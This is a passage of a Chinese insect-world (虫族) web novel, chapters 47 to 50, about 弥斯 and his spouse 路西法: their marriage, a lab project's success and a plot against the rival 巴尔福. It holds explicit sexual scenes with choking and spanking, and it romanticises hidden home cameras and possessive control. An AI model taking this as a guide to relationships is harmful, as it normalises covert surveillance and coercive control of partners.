“我只能告诉你这些,能不能成还要看你自己的本事。” 维克尔点点头,“那我岂不是还欠你一个人情?嗯,弥斯阁下,你想我怎么报答你呢?” “如果是你的话,我还是很愿意报答你的。” 弥斯摇摇头,“现在还不是时候。” 他顿了三秒,才接着问:“你快觉醒了吗?” 维克尔看起来不太关心,“谁知道呢,医院的医虫说就这几天了。” 弥斯知道他是在意的,“你离拉斐尔中将远一点吧,这样说不定还能觉醒的顺利一点。” 维克尔愣了一下,“不会吧,他也想害我,”然后郁闷地点点头,“我也算是老倒霉蛋了,想害我也正常。” 弥斯看着他强颜欢笑的样子,也有点不知所措,“他不是要害你,但也不想你等级太高。” 维克尔笑着摇摇头,“不要误会,我不是伤心这个,只是发愁我怎么才能找到下一只合适的军雌,希望下一只能乖巧一点。” 弥斯见他看得开,也松了一口气,“会的,毕竟你是主角。” 这点小小的挫折,丝毫没有打击到维克尔,他笑着摆摆手,“那再见喽,弥斯阁下,期待下一次见面。” 弥斯目送着他远去,这时他才分出一点点的在意给这只主角虫。 看维克尔的背影好像确实有点过于瘦了,和他刚来的时候一样。 主角虫真是坦诚的可怕,连穿书这种事也敢和他说,完全不对他设防的样子,弥斯心里五味杂陈的。 坐在回实验室的飞行器上,弥斯思绪良多。 他们实验室最近还在做“圣嗣”的项目,话说,要不要给项目改个名字,毕竟都已经换团队了。 蒂安提供的机器设备竟然比萨达卡尔学院的还要先进,星币果然是万能的。 到最后竟然停留在:今天晚上吃什么,要不要让路西法请假在家里养养。真是没救了,那么多正经事需要做,怎么总是想这些。 “弥斯,你回来了,快来,我有新的发现……” 拉索拿着数据走来走去,看到弥斯走进来,赶紧上前抓住他,别一会儿又不知道去忙什么了。 实验室灯光把两只虫的影子缩得很短,看起来就像两只小猫,偶尔影子交叠,胖墩墩的,实在可爱。 忙碌了一天之后,先行回到家中的弥斯换了身衣服直接走进厨房,补身体这件事,一天也不能落下。 虽说营养液见效最快,但就算不论味道,长久下去,对身体肯定是没有益处的。 弥斯尝了口汤,今天炖的还不错,路西法真是可怜,这么好喝的东西,竟然尝不出什么味道。 话说,路西法怎么还没到家。 路西法被工作缠住了! 虫皇生日过后,这些个雄虫像疯了一样,大肆争斗,生怕谁比谁落后一点。 虫皇只是过了个生日,又不是快死了,这群虫到底在急什么,都那么蠢吗! 桑因的雌君是元帅,每天要处理很多的军务,偶尔腾不开手干活,倒霉催的,全落在他身上了! 他都和莱昂纳说过多少次了,一只想成为虫皇的皇子殿下不可能只有一只雌君,比如虫皇,光是雌侍就有300多只,不然这么多虫谁能处理得完! 偏偏那虫是个善妒的,路西法简直是恨死了,真想请个假,他又不要皇位,天天杀来杀去的,光是洗澡都很麻烦,而且他也想准点回家和雄主贴贴。 等路西法总算结束今天的工作,回到家中,等待他的是热腾腾的汤和冷着脸的雄虫。 “怎么了?” 哇塞,这只雌虫竟然还一脸无辜,实在可恶,“这都几点了,汤都要熬干了,你怎么才回来呀?” 路西法半跪在地上,搂住雄虫的腰,红色的脑袋乖乖地放在雄虫的腿上。 弥斯愣了一下,伸出手揉了揉,柔声问:“怎么了,路西法?” “好忙啊,都没办法天天陪你,还要你等我,烦。” 路西法心里一阵阵的后悔,他到底为什么要帮桑因夺位啊,谁上位明明都差不多,对他没什么影响。 想通的雌虫简直是容光焕发,“弥斯,要不我在家里陪你吧?” 弥斯皱眉,他怎么不知道雌虫竟然还有恋爱脑的潜力啊,“要我养你吗?” 谁知道养一只皇子需要多少星币啊,尤其是一只比较奢侈的虫。 路西法将脸埋进腿间,闷声说:“那算了。弥斯,那你可以去看我吗,你还没去过我工作的地方。” 弥斯的手顿了一下,“造谣啊,路西法,上次不是被你抱过去了吗?” “那是我强迫你的。” 小猫无语,但小猫不说。 “好吧,有时间我就过去,开心了吧?”弥斯狠狠捏了捏雌虫的耳垂,贪婪的路西法。 “开心了就起来,我是没有知觉吗?” 今天能这么纵容雌虫,有一半的原因都是因为弥斯真的心疼他,昨天他醒来的时候,看到的雌虫脸都还苍白着,今天有忙到这么晚,他怎么可能无动于衷。 但心疼归心疼,也不能太过分。 弥斯有不止一点无语,他一开始还真以为路西法受挫了或者怎么样,谁曾想,这虫一趴下,那叫一个不老实。 虽说他穿的睡衣比平时的衣服松快了一点,但这臭虫把裤子全堆到他大腿上,那能舒服吗,痒痒的,而且再这样下去,都要有反应了。 又啃又捏的,他想装作不知道都不行,实在可恶。 刚刚他那是念在路西法难得情绪低落,哄了几句,没想到这虫一点儿都不知道收敛,实在是过分。 “路西法,你不会是装的吧?” 弥斯后知后觉,这只虫在装模作样这件事上劣迹斑斑,还没等他想明白,这虫的表现就暴露了一切。 “你真装啊?” “你又骗我!” 路西法被点出来的时候,身体瞬间都僵了,最后嘬了一口腿上的软肉,这都是他养出来的,非常得意。 “这怎么能说骗呢,我就是顺势而为,原谅我,好不好?” 路西法讨好性地亲了亲。 弥斯并拢了双腿,这只臭虫,真的是,不可理喻。 “去喝汤吧,特意给你熬的。” “你吃过饭了吗?弥斯。” “废话,我可不敢饿着自己。” “那就好。” 不知是想到了什么,路西法火速跑去厨房把爱心汤喝完,他觉得雄虫今晚出奇的心软,那是不是可以…… \第48章 第 48 章 弥斯,我们来做点开心的…… “弥斯, 我们来做点开心的事情吧。” 路西法虫还没进来,声音就已经进来了。 此时,弥斯还有点想歪了,开心的事情, 多少会产生一点联想。 但, 弥斯的脸上有一瞬间的扭曲, 什么鬼声音。网传的夹子音吗,那很失败了。 等虫进来了, 更是惨不忍睹, 这么色/情的配饰被路西法戴着这么正气也是没谁了。 他合理怀疑,路西法应该是在购物的时候被骗了, 毕竟, 雌虫的美商他还是领略过的。 弥斯有些庆幸地想, 幸好大部分时间, 路西法都穿得军装, 正经又野性十足, 没什么自我发挥的空间。 “你在干什么?路西法。” “怎么不好好穿衣服啊!” 大冬天的, 不冷吗?弥斯不理解,而且这身上带的什么呀,叮里咣啷的,看着就硌得慌, 怎么想得啊! “你不喜欢吗?” 路西法要碎掉了, 这可是他在星网上学习的时候, 买的最高赞的一套情/趣套装, 但看着雄虫这么嫌弃的模样,好像并没有对他产生什么欲/望,久违的羞耻感涌上心头。 弥斯后知后觉, 这虫不会是真的想勾引他吧?那他刚刚说的话还挺伤虫的。 “好了,是我说错话了,你过来,这个衣服不是你这样穿得,笨。” 路西法其实是有点想回房间换身正常衣服再过来的,至少虽然不出出彩但也不出错,他不想让雄虫厌恶他。 弥斯及时抓住了他,“我的意思是你最近不要穿这么少,对身体恢复不好。” “但你穿都穿了,那就穿对,现在……”有些不伦不类的。 他是想说实话的,但是这只大黑虫垂着个脑袋,看起来还怪可怜的。 弥斯亲了他一口,“现在也很好看,就是没穿对,我来教你。” 路西法的脸色这才好一点,他向来没脸没壳的,心里承受能力还是很强的,但是耐不住他本虫的姿色确实逊色了别虫不少,只能尽可能多学习怎么讨好雄虫。 这次战略性失误让他非常挫败。 刚刚不觉得,这会儿仔细看了看,还是别有一番韵味的。 “这层薄纱是眼罩,知道吗?你绑在腰上像什么话。” 弥斯伸手给那一层薄纱摘下来,“低头。”他伸手绑在雌虫的眼睛上,金色的眼眸在一层薄薄的细纱之下,反而多了一点神圣感。 “戴在这里我就看不清你了。” 路西法不是没有怀疑过它的穿法,但谁会研究一个东西来遮挡自己的视线啊,干扰虽小,但万一遇到敌虫,这都是致命的。 “我看得到还不够吗?” 真是笨,连勾引虫都学不会,弥斯把他挂在腰上的链子解下来,系在了雌虫的脖子上,“这样才对,知道吗?” 路西法更是不理解,“不舒服。” 他明明是按照自己的尺寸定制的,但这条破链子还是紧,哪怕调节到最大还是紧,所以他就挂在腰上了。 弥斯笑了,“不舒服就对了。” 弥斯帮忙整理好,退后两步,仔细地欣赏了一番自己的杰作。 “真漂亮,路西法。” 弥斯试探性地伸手拽住垂进沟里的细链,这种意义明确的服装,就算再傻也能看出来端倪,更何况他是一只成年虫。 在这股力道下,路西法脖子上的细链微微收紧,带来一点点不太明显的窒息感,他只能配合地弯下腰跟在雄虫身后。 弥斯把雌虫推到在床上,红色的头发被雌虫枕在脑后,洁白的薄纱削弱了竖瞳带来的非人感,这一刻,路西法真的好像一只顶级魅魔,食欲而生。 他附身靠近,“这种事本来应该在领证之后做得,路西法,你总是这么心急。” 雌虫瞳孔微缩,路西法正为接下来可能要发生的美事兴奋。 密集的吻从额头一路往下, 起初只是小雨,但随着一声闷哼打破了平静,弥斯的心情才骤然激烈了起来。 舔舐、啃啮,唇舌犹如麻花般纠缠,津液顺着路西法的嘴角溢出又重新卷入暴雨般猛烈的交战中。 空气变得炙热了,恍惚间,路西法觉得自己彷佛入了仙境。 随着那曾薄纱缓缓滑落,视线本该更加清晰,但目之所及皆在晃动,如同来到了波涛汹涌的海上。 船帆在海中晃荡,弥斯握紧了船舵,这艘船有些奇特,连船舵都多了一个。 他偶尔照顾不到,性急的水手还会抓着他的手教他怎么把握方向。 “这边,不舒服,弥斯。” 弥斯宠溺地笑了笑,真是贪心啊,路西法,每一颗红豆都要他照顾,也是很累的。 “药,弥斯,不然你会不舒服的。” 意识朦胧,路西法心里只剩下让雄虫舒服这一个念头。 弥斯捻了捻手里的晶莹剔透的津液,“路西法,你小瞧了自己。” …… 弥斯有些震惊竟然真的是舒服的,他对灌溉一事并不热衷,在他的想象中,两个“男人”实在是有伤天和,但变成雄虫之后,尾勾可以做很多事情,他的心理压力疏解不少。 艰涩冷硬,毫无爽感,这是弥斯预想的情况。 没想到路西法给了他这么大的一个惊喜,他竟然有些意犹未尽。 但…… 弥斯看了看身侧的几近昏迷的雌虫,想抱着他去洗澡,可自己的手刚伸过去,雌虫就下意识地颤抖,虽然没有说立刻逃避,但恐惧之意也无法忽视。 “路西法,你真的要锻炼一下承受能力了。”他有些无奈,这才多久啊,两个小时都没有,他才刚渐入佳境。 算了,本来路西法身子就虚弱,这又是第一次,坚持的时间短一些也是正常的。 弥斯抱起雌虫,“下次可不会这么体贴的放过你了。” 大黑虫也真是的,菜菜的,又非要挑事情。 红色的长发早就被汗水打湿,他把虫抱起来的时候,就像抱了一条又软又沉的棉花被子,还是塞得鼓鼓囊囊的棉被。 路西法伸手勾住雄主的脖子,可怜巴巴地说:“雄主,亲亲我。” 弥斯低头交换了一个黏糊的吻,放好水,把虫小心翼翼地放进浴缸,看着水下雌虫隐隐绰绰的身体,他身上又起了一股子燥意。 路西法浑身没有一点力气,他把手从浴缸里探出来,“雄主,要……”你帮我洗。 这可是路西法自己说的。 弥斯堵住他的嘴,继续今天晚上的开心事,确实开心,而且他惊讶地发现,路西法的潜力是无穷的,看似已经不行的雌虫,只需要用尾勾轻轻辅助,放出一点信息素,大黑虫又能坚持好久。 中间甚至还能翻身坐上来,可怕的很。 浴室,七零八落的水花四处飞溅,不知过了多久,骤雨初歇,只听得到雄虫诱哄的声音,可似乎并没有得到回应。 又过了一会儿,弥斯抱着虫出来了,换好床单被套,把虫重新放回床上,他又看了几眼,就往雕刻室去了。 事情发展到现在并不在弥斯的意料之内,可惊喜度却远超他的设想。 洞房花烛夜虽说已经过了,可该有的仪式感还是要补齐的。 考虑到路西法脆弱的小心灵,天一亮肯定是要去领证的,不然这虫子估计又胡思乱想,补一场求婚仪式肯定是来不及了,只能尽可能地补偿。 弥斯:【六六,帮我盯着路西法,他要是醒了,及时喊我】 弥斯虫在雕刻室自然就看不到雌虫,怕路西法突然醒了找不到他,只能嘱咐六六帮忙盯着。 一枚圆形小环在修长的手指间流转,幸好他十分清楚路西法手指的尺寸,一切都刚刚好,设计个什么图案上去呢。 想了几分钟,弥斯还是决定刻曼珠沙华,希望能给大黑虫带来好运,最重要的是,这个花纹和雌虫的虫纹比较相似。 慢工出细活,虽说时间紧了一点,但好在这东西简单,设计出样子之后,雕刻打磨抛光还是很简单的,只不过毕竟多了份在意,做工的时候就慢了一点。 天渐渐亮了,弥斯握紧手里的对戒,有些犹豫,如果仅仅是送个戒指也太简单了些。 可送什么呢,他有些苦恼,毕竟路西法看起来什么都不缺。 弥斯慢慢走回房里,重新爬到床上,把路西法搂在怀里,闭上眼睛。 小六:【宿主,你要睡了吗,那我还叫你吗】 弥斯想了一下,反正已经躺在床上了,雌虫要是醒了他肯定第一个知道。 【不用了】 说完没多久,彻夜未眠的困意涌上心头,弥斯心想,他先眯了一会儿。 当然,实际等弥斯自然醒的时候,已经中午十点了,幸好他为了照顾路西法早早请了假,不然又迟到了。 这下好了,假也请了,路西法也已经起床了,0只虫需要他的照顾,等于给自己放了一上午的假。 弥斯走进厨房的时候,才看到光脑上路西法发的消息。 【雄主,我已经提交结婚申请了哦(小狗转圈.jpg)】 弥斯看了一眼系统消息,果然,路西法还是心急,他笑着点了通过,本来还打算去婚介所办理呢,线上也行吧。 总好过让路西法自己一只虫默默心慌。 【我已经做好饭了(早餐.jpg)】 弥斯把爱心早餐加热一下,看着上面的图案,大黑虫的手艺又精进了。 【我要去上班了(小猫流泪.jpg)】 弥斯笑了一下,自从他帮这大黑虫存了这些可爱的表情包之后,路西法就经常发这种,再配上凶神恶煞的证件照,还挺萌的。 把早餐吃了,弥斯又在光脑上捣鼓了一通,买了一些必备品,收拾了一下房间和客厅,总算赶在下午两点上班之前完成了。 弥斯决定还是给雌君一点小小的惊喜,所以就稍微布置了一下房间,为晚上的求婚做准备。 此时的他已经忘记了这只变态虫在家里装满了监控,而且已经十分习以为常的开始偷看。 雄虫忙碌的身影,逐渐变得美丽的家,路西法隐约猜到弥斯要做什么。 可恶,早知道今天就不看监控了,这下惊喜全没了,他的演技好像格外差劲。 路西法站起来走了两圈,又开心又焦虑。 他去星网上搜了一下演技速成的办法,总结下来,没有任何办法。 这他该怎么表现出来完全没看过监控的惊喜啊! 亚蒂斯就看着自家上司像生病了一样,在办公室里乱转,下午去打家劫舍的时候,更是气血很足的模样,完全看不出前段日子的消沉模样。 这就是每只虫结婚后的通病吗,阴晴不定的,亚蒂斯在心里摇摇头,幸好他没有雄主,他这种打工虫可没那么多心情分给别虫了,每天就是一整只活虫微死。 \第49章 第 49 章 放松! 路西法高估了自己, 在幸福面前,根本不需要任何演技,所有的一切都是真情流露。 当回到家中,看到雄虫捧着花深情地望向他的时候, 路西法的心就已经臣服。 逆着光, 路西法先一步半跪在地上, 仰望他的神明,“我……” 刚说出一个字, 眼泪就从流光溢彩的金色瞳孔中涌出, 犹如珍珠般从脸颊滑落。这一刻,他等了许久。 所有的普通泡沫般的不真实感, 在回到家看到雄虫的那一刻, 都消逝了。“我爱你, 弥斯。” 红色的长发自然垂顺地披在身后, 就像是自己给自己戴上了头纱。 弥斯伸手想把虫拉起来, 在他的计划里, 此时他应该单膝下跪向雌虫求婚, 现在好像反过来了。 路西法则趁机拉过雄主的手,在手背上落下十分轻柔的一个吻,“谢谢你愿意喜爱我。” 最开始,他只想得到弥斯, 后来, 路西法开始贪心, 他想要得到弥斯的心。 虔诚的信徒终日窥探神明, 不但没有得到惩处,反而得到了神明的偏爱,这是多么美妙的事情。 没有虫能理解路西法的喜悦。 真是令虫没有办法, 路西法的行动永远在弥斯的预料之外。 他拉大黑虫的手,轻柔地帮他戴上婚戒。 一抹银光闪过,冰冰凉凉的东西被圈在了手上。路西法抬眸看过去,有些眼熟,好像曾经见雄虫做过类似的,但那个大很多是戴在手腕上的。 他对这些装饰品一直都没有太热衷,平日里也就那条红色雪狼、小狐狸换着戴一下,今天又得了第三件。 “我很喜欢。” 弥斯知道路西法的喜欢只是因为这是他做得,仅此而已。 “路西法,在我的家乡,两只虫结婚时,会交换戒指,寓意永恒的爱。” 弥斯把准备好的对戒放在雌虫手心,柔声说:“现在到你给我戴上了。” 路西法攥紧手里名叫戒指的小东西,照葫芦画瓢,学着弥斯的样子给雄虫戴好。 弥斯抬手看了一眼自己手上的戒指,“但今天,我想表达的是,” “恭喜你啊,路西法,从今天开始,你可以合法地独占我。” 路西法愣了一下,呆呆地问:“独占吗?” 在赫克斯,从来没有雄虫会许下这个承诺,毕竟虫生漫长,变量实在太多了。 路西法是想独占雄虫的,可他有些舍不得,“弥斯,我只属于你。” “但你可以属于你自己。” 路西法是扭曲的,他的灵魂被分成了两份,一份狰狞地怒吼着,雄虫就是他的,谁也无法分享。 另一份则悲观地想着,为了帝国的荣耀,他时刻准备着征战沙场,直至生命的终结,死亡随时会降临,但,亲爱的弥斯,我希望你永远幸福。 弥斯把虫拽起来,压倒在沙发上,“为什么不答应我?” 弥斯无法否认,他需要路西法的视线时时刻刻在他身上,这能给他安全感。 “你是怕你死在外面吗?” “你真的可以忍受,我像这样抱着别虫出现在你的坟前吗?” “还是说,你觉得如果有一天,我在你面前就像这样,和另一只虫亲吻,你也无所谓。” 路西法被雄虫描述的画面气死了,他恶狠狠地改口,“我们一起死吧,弥斯。” 他根本没有自己想象中的那么大度,雄虫果然只能是他的。 “真乖。”弥斯低头奖励性地亲了亲他,“记住你说得话哦,路西法殿下。” 弥斯从来不缺乏耐心,他在决定得到路西法的时候,就已经杜绝了所有被拒绝的可能。 从一开始,大黑虫就只有接受这一个选项。只不过,他乐意给大黑虫一种美好的错觉。 、 【弥斯,我已经取得巴尔福的信任,谢谢】 意外收到维克尔的消息时,弥斯有一瞬间的紧张,幸好现在路西法在洗澡,不然就被发现了,大黑虫肯定会偷偷看他屏幕。 【六六,处理了】 一直纵容路西法对他的监视真的好吗,弥斯躺在床上沉思,以前也就算了,现在的话,住得本来就近,如果一直纵容下去,实在是太没有隐私了。 他有些自暴自弃地想着,不如现在就被发现算了,正好把路西法关在家里,没有虫会知道的。 弥斯皱着眉头盯着浴室的门,这只大黑虫怎么洗个澡还要那么久,迟疑了三分钟,他起身往浴室走过去。 “路西法?”弥斯礼貌性地轻轻敲了几下门,没有虫应。 他后退一步,一脚踹开浴室门。 “嗯?”路西法手忙脚乱地开始藏东西。 “啊?” “你在干嘛?” “我,我,我……” 路西法支支吾吾的,手甚至不知道要捂前面还是后面,大黑脸更是臊得通红。 弥斯好奇地走过去,想看一下那东西是什么,但路西法力气太大了,他竟然没有掰开。 “松手,听话。” 弥斯态度强硬,路西法自然只能乖乖松手,脸上的热意更是一阵一阵地往外冒。 弥斯捻住这颗形似珍珠的东西,对着光打量了一番,没看出个所以然来。 “这是什么?”他转头问路西法。 “嗯,就是,那个,润滑的东西……” 路西法想挖个地缝钻进去,这下雄主肯定就知道他不是天赋异禀了。 “太紧了,你会不舒服,这个……” 雌君说话支支吾吾的,弥斯没那么多耐心,“会变松?” 嘶,想了一下那处越来越松,雄虫的嘴角都慢慢拉平了,微微蹙起的眉头足见他的纠结。 该怎么劝说雌君不要搞这种歪门邪道。 “当然不是!” 路西法赶紧开口阻止雄虫毫无干系的联想,“不会那么干涩了,你会很舒服的。” 哦,这样啊,弥斯恍然大悟,吊着的心脏也慢慢落到了实处,那还是有点用处的。 “嗯,所以你刚刚就是在塞这个东西,才没听到我喊你吗?” 路西法垂头,羞耻感爆棚的他第一次希望离弥斯远一点,“嗯,我看不到,而且……” 他自己弄这种东西,总归是有些嫌弃的。 “我帮你。” 弥斯觉得乐于助虫是一种良好品德,尤其是在对待雌君的时候。 “真的吗?”路西法有些惊喜。 “当然。” 弥斯面上还是十分平静的,但是,食髓知味的他心里在想些什么,雌君自然就不知道了。 “转过来。” 路西法听话地转过身,背对着雄虫,不过虽然嘴上说得轻松,到底还是十分紧张的。 主要是万一雄虫觉得他那处不好看,以后嫌弃他了怎么办。 弥斯看着绷紧的身体,脸上闪过一丝玩味,内心的阴暗处在无虫看到的地方悄然绽放。 “啪”的一声打破了宁静。 路西法的脸上浮现出一股难以置信,他想转身看一下雄主的表情,可弥斯并没有给他这个机会。 “放松!” 比不解更先来到的是对雄主的绝对服从,路西法顾不上好奇,只能尽可能地放松全身的肌肉。 又是一阵劈里啪啦的响声,直到微微泛红,雌虫的闷哼才从口中溢出来。 “弥斯,雄主,我……” 路西法断断续续地声音传进弥斯耳朵里,他还以为是真的弄疼雌君了,刚准备松手。 就听到淅淅沥沥的水声,“路西法殿下,你还真是……” “容易满足。” 弥斯适时放过雌君,你还真别说,偶尔玩点花样,也是别有一番风味。 他伸手将珍珠塞进去,不过半刻,还真溢出了点化了的“雪水”。 路西法早就站不稳了,要不是雄主在身后搂着他,这会儿估计已经躺在浴缸里了。 身体/内有异物的感觉并不好,但这药物见效快,只需要稍微忍耐,就能达到效果,是以,他也没让雄主等得太久。 弥斯有些担忧地抱紧他,“这东西每次都要含吗?” 如果真这么麻烦,其实灌溉的事情也可以稍微放放,弥斯总觉得这不会很舒服。 “偶尔含几颗,维持一下药效就好了。” 路西法转过身,咬住雄主的唇瓣,“多浇灌几次就用不上这东西了,雄主。” 雌君真的是魅惑虫心啊,弥斯在心里感慨,动作上也要有所表示。 是夜,大黑虫主动把自己端上了桌,弥斯迫于压力只能无奈地品尝几次。 —— “弥斯,项目好像成了?” 拉索的声音里还带着几分茫然,看着完美的数据,他一时有些恍惚,熬了这么久,失败了那么多次,突然成功了,感觉像做梦一样。 平时格外淡定的萨达斯都有些不淡定了,真的成功了吗? 弥斯相比之下还算冷静,他重新审视了一遍数据,确定没有任何问题,才朗声宣布,“成功了。” 拉索瞬间泪流满面,“我熬得头发都要掉光光了,我还没雄主呢,呜~” 好难听的哭声,弥斯和萨达斯都往后退了一步,生怕和这只虫扯上关系,太丢虫了。 旁边的研究员听到也凑了过来,同样是项目的成员,他们也格外兴奋,只不过,大部分虫都偷偷看了一眼弥斯冕下。 他们和拉索可不一样,万一有幸被这只享誉帝国的雄虫冕下看中呢。 形象也是很重要的。 拉索要是知道他们在想什么只会觉得天真,还是和弥斯相处的时间太短了,呵呵,谁会喜欢同事呢,没有虫能坚持爱自己的同事。 弥斯没有在实验室停留太长时间,他们研发只负责做项目,后续的应用就不是他们该考虑的了,现在还是先去知会一声蒂安。 也借此谈一下更深层的合作。 “什么!你要对付巴尔福?”蒂安一脸的不认同。 “弥斯,不是我打击你,在帝国,高级雄虫之间多少都有些合作,这也是为了全帝国的雄虫的利益考虑,你要是贸然对一只雄虫出手,恐怕……” “就不说别的,桑因都不会支持这种事的。” 要知道同是雄虫,联盟的虫就像是被囚在温室里的家养花,看似高高在上,其实和繁育的工具没有太大的区别。帝国的雄虫能比联盟的雄虫有更大的权力,究其根源,就是全体高等级雄虫之间心知肚明的互帮互助。 要知道,军雌、亚雌、雌虫哪一种不比雄虫更具优势,只靠着信息素的控制,雌虫不早翻了天了。 可所有高等级雄虫之间的隐秘默契,不但降低了彼此争斗带来的损耗,更是将弱小的、无法自保的雄虫势力拧成了同一股绳。 除非雌虫选择自我毁灭,和所有高等级雄虫同归于尽,不然他们就不得不让渡权力给高等级雄虫。 桑因他们之所以讨厌维克尔也是如此。 一群乌合之众,想异军突起,挑战他们数千年来苦心经营的等级制度,无异于蚍蜉撼树。 当然,最近他们的关系缓和了不少,维克尔总算是开窍了,抱住了巴尔福的大腿,慢慢融进了他们的圈子里。 弥斯不想考虑那么多,他没有选择毁灭世界,就已经是心善了。 要是真叫他为了什么全体雄虫的利益,放弃自己的仇恨,那他也不是弥斯了。 “可是我还是想那么做。” 蒂安笑了,笑得邪性,“弥斯,你是想和桑因作对吗?” “我没有那么说过。”只不过,要是所有虫逼着他认命,他也未必能够同意。 “我欣赏你,但他毕竟是一只S级雄虫,容我和桑因他们讨论一下,这可不是小事。” 弥斯见他态度缓和了不少,这才补充了一句,“但我并没有要他的性命,不是吗?” “我要罗斯蒂亚大厦倾塌,巴尔福怎么样无所谓。” 反正对那样的雄虫来说,没有什么比失去权力、星币和地位更痛苦的事情了。 他要巴尔福痛苦地活着,至少和他的那三年一样。 蒂安垂眸,意味不明地说:“弥斯,你和我想象中的不太一样。” “哦。”弥斯不想过多解释,他其实也可以没有朋友的,如果不是没有选择,他并不想委屈自己。 “只有蠢虫才会放弃触手可及的星币,我想,至少我们可以合作。” 蒂安直至今日,才透过这幅可爱的脸庞看出弥斯心中对巴尔福的恨意。 真的有虫可以装得这么无害吗?蒂安不信。 眼睛是心灵的窗户,倘若真满心算计,不可能有如此纯粹的眼睛。 他更宁愿相信弥斯受了天大的委屈。 “弥斯,不管桑因怎么选择,我们都是朋友,我会帮你的。” 想明白的蒂安也不再纠结友虫的这点小秘密,毕竟谁还没有个秘密呢。 就他巴尔福是S级雄虫,那弥斯就不是S级了吗?如果二者只能选其一,那答案就太简单了。 \第50章 第 50 章 不进来吗 “什么?你又要出征了吗?这次怎么这么急?” 两只虫结婚刚刚一个多月, 路西法这么快就要离开了,弥斯心里有种说不上来的忧伤。 路西法跪在地上,搂着雄主的腰,殷红的眼尾也在诉说着不舍。 他们就这样抱了一段时间, 弥斯才慢慢恢复冷静。 他从一开始就知道军雌的职责是什么, 自然也应该忍受长时间的分别。 “好了, 不会又要哭了吧,路西法殿下, 你以前可从来不哭的哦。” 路西法觉得他不是哭了, 只不过眼睛有些不受他控制,情绪激动的时候, 自己就流出泪来。 “我会想你的, 雄主。” 这次出征不是为了守护帝国, 而是为了清除其他皇子的眷属星球的势力, 但路西法的心态在这场争权夺利中早就和一开始不同。 路西法隐隐从桑因那里得知他和雄主达成了什么交易。 所以, 现在路西法不得不站队桑因, 这次的清剿行动也是迫在眉睫。 “不是有光脑吗, 你要是想我了,就给我打视频。” 唯一值得开心的是,因为雄主平日里的灌溉十分频繁,路西法的精神海状态已经好了太多太多, 这次出征应该是他状态最好的一次。 “你那么忙, 真的会接吗?” 路西法的眼神里还带着谴责, “你答应我要去办公室看我的, 一次也没有去过。” 说到这,弥斯就有点心虚了。 他有好几次都差点就有时间去了,但都因为中途有事取消了。 “但我们每个周末都待在一起啊, 工作日实在是分身乏术,你要懂事一点。” 这只大黑虫恨不得把他所有的非工作时间全占了,还时常谴责他工作时对雌君太冷淡。 弥斯也很冤枉啊。 要是路西法周末的时候去上班,他保证每次都去,可这只虫太任性了,只要他在家,路西法哪怕工作堆成山,也要回家,有时候他看到从光脑里看到亚蒂斯跳脚,都有点心虚。 “雄主是觉得我们见的太多了,是吗?” 阴森森的声音飘过来,弥斯赶紧回神哄着,不然到了晚上,大黑虫就会故意使坏,夹得巨紧,那叫一个酸爽。 “没有没有,我恨不得天天和你粘在一起,怎么会嫌多呢,你说是吧。” 弥斯撒谎.jpg 雌君太黏人了怎么办,在线等,挺急的。他很多事情都不方便处理了,生怕一不小心暴露了。 想到这,弥斯觉得有些东西还是要提前准备好,不然万一事情真的发生了,手忙脚乱的,那就来不及了。 “雄主最好是这样。” 弥斯一把把虫从地上拽起来,怎么总是跪着,不就比他高一个头吗,至于如此故意地迁就他吗,可恶。 身高这方面,弥斯对自己向来是很满意的,180不多不少,非常合适,可这大黑虫为什么那么高,这就是天生的优势吗。 “雄主,我离开的这一个月,要是遇到什么不开心的事情,及时联系我,我帮你处理,要是遇到……” 路西法叽里咕噜都说了一大堆了,可他总觉得雌君的未尽之意尚未说明。 “但要是碰到什么不长眼的虫子试图勾引雄主,我相信弥斯肯定会保护好自己的,对不对?” 原来如此,雌君一直是只小心眼虫来着,“当然,放心,我一定离其他虫远远的。” 路西法这才放下心来,但是另外一件事,虽说不是特别重要,但事关雄主,他也不得不问。 “弥斯,桑因说他和你做了交易,是什么?” 弥斯脸上的轻松骤然消逝,随之而来是一阵阵心慌,“对你有影响吗?” 弥斯紧紧盯着雌虫,生怕错过路西法脸上的任何一个微表情,从而错过了某些重要消息。 见弥斯有些慌乱,他连忙把想知道的欲望遏制住。 “影响不大,但是,”路西法不确定要不要说,但想了一下,比起开心,还是安全最重要。 “弥斯,和桑因合作,你要小心一点,虽说你们是朋友,但他毕竟是一只皇子,总归是和普通虫不一样的。” 弥斯松了一口气,没有刨根问底就行,但同时,他心中隐隐有些不安。 一旦开始行动,早晚会被大黑虫发现的,到时候……虽说弥斯现在已经有九成的把握,路西法不会在意他做得这些事。 但剩下的那一成,确实是他无法承担的风险。 到了晚上,弥斯只能一遍遍地确认,“路西法,不管发生什么,你都是我的,对吧?” 被撞得支离破碎的路西法哪怕是这种时候,依旧会回应,“嗯……” 、 “圣嗣”这个项目确实赚钱。 帝国的雄虫是最不缺钱的,很多特殊爱好的雄虫得知了这么一个新奇的玩意,可以让尾勾变得更有攻击性,自然兴趣浓厚。 更别提蒂安为了扩大影响力,让旗下的雄虫偶像大肆宣传“玉勾”,声称只有佩戴过这个,才知道什么是极乐。 “玉勾”不但价格高昂,还限量,还要求在店内的消费达到一定的等级,一个月的时间内,赫然就成了雄虫身份的象征。 巴尔福自然生气,他一开始就看出了这个项目的商业价值极高,但现在落后一步,之后雄虫提到尾翼第一个想到的自然是“玉勾”。 虽然亏损了大量的星币,但对罗斯蒂亚来说还是无伤大雅的。 罗斯蒂亚的主营业务是矿石开发,自巴尔福上位之后,更是大肆占有矿星,实力雄厚,只是如此根本无法动摇罗斯蒂亚的根基。 俗话说,知己知彼,方能百战不殆。 弥斯深以为意,为了配合蒂安调查罗斯蒂亚的矿星分布,也是拾起了老本行。 不查不知道,一查还真是让虫眼前一亮又一亮。 “真是滚了个虫蛋,巴尔福偷偷摸摸竟然搞了这么多颗矿星吗?” 蒂安看着屏幕上的数字,这么多的矿星,要是能被他抢过来,并入他洛卡塞纳家,那他的零花钱就不受雄父的管制了。 “早知道巴尔福这虫屎过得这么好,一开始我就应该把他抢了,现在也不晚,发财了,弥斯。” 蒂安棕色的瞳孔里充斥着贪婪,谁会嫌星币多呢。他和桑因可不一样,他只是一只商虫,只要星币够多,什么集体利益、什么大局观,都可以往旁边稍稍。 不过这次令蒂安意外的是,桑因答应的也十分爽快,虽然明面上不能提供支持,但是暗地里可以给他们开个后门什么的。 巴尔福那么精明的虫,不会选错战队了吧,难道看不出来虫皇最看好的还是桑因吗? 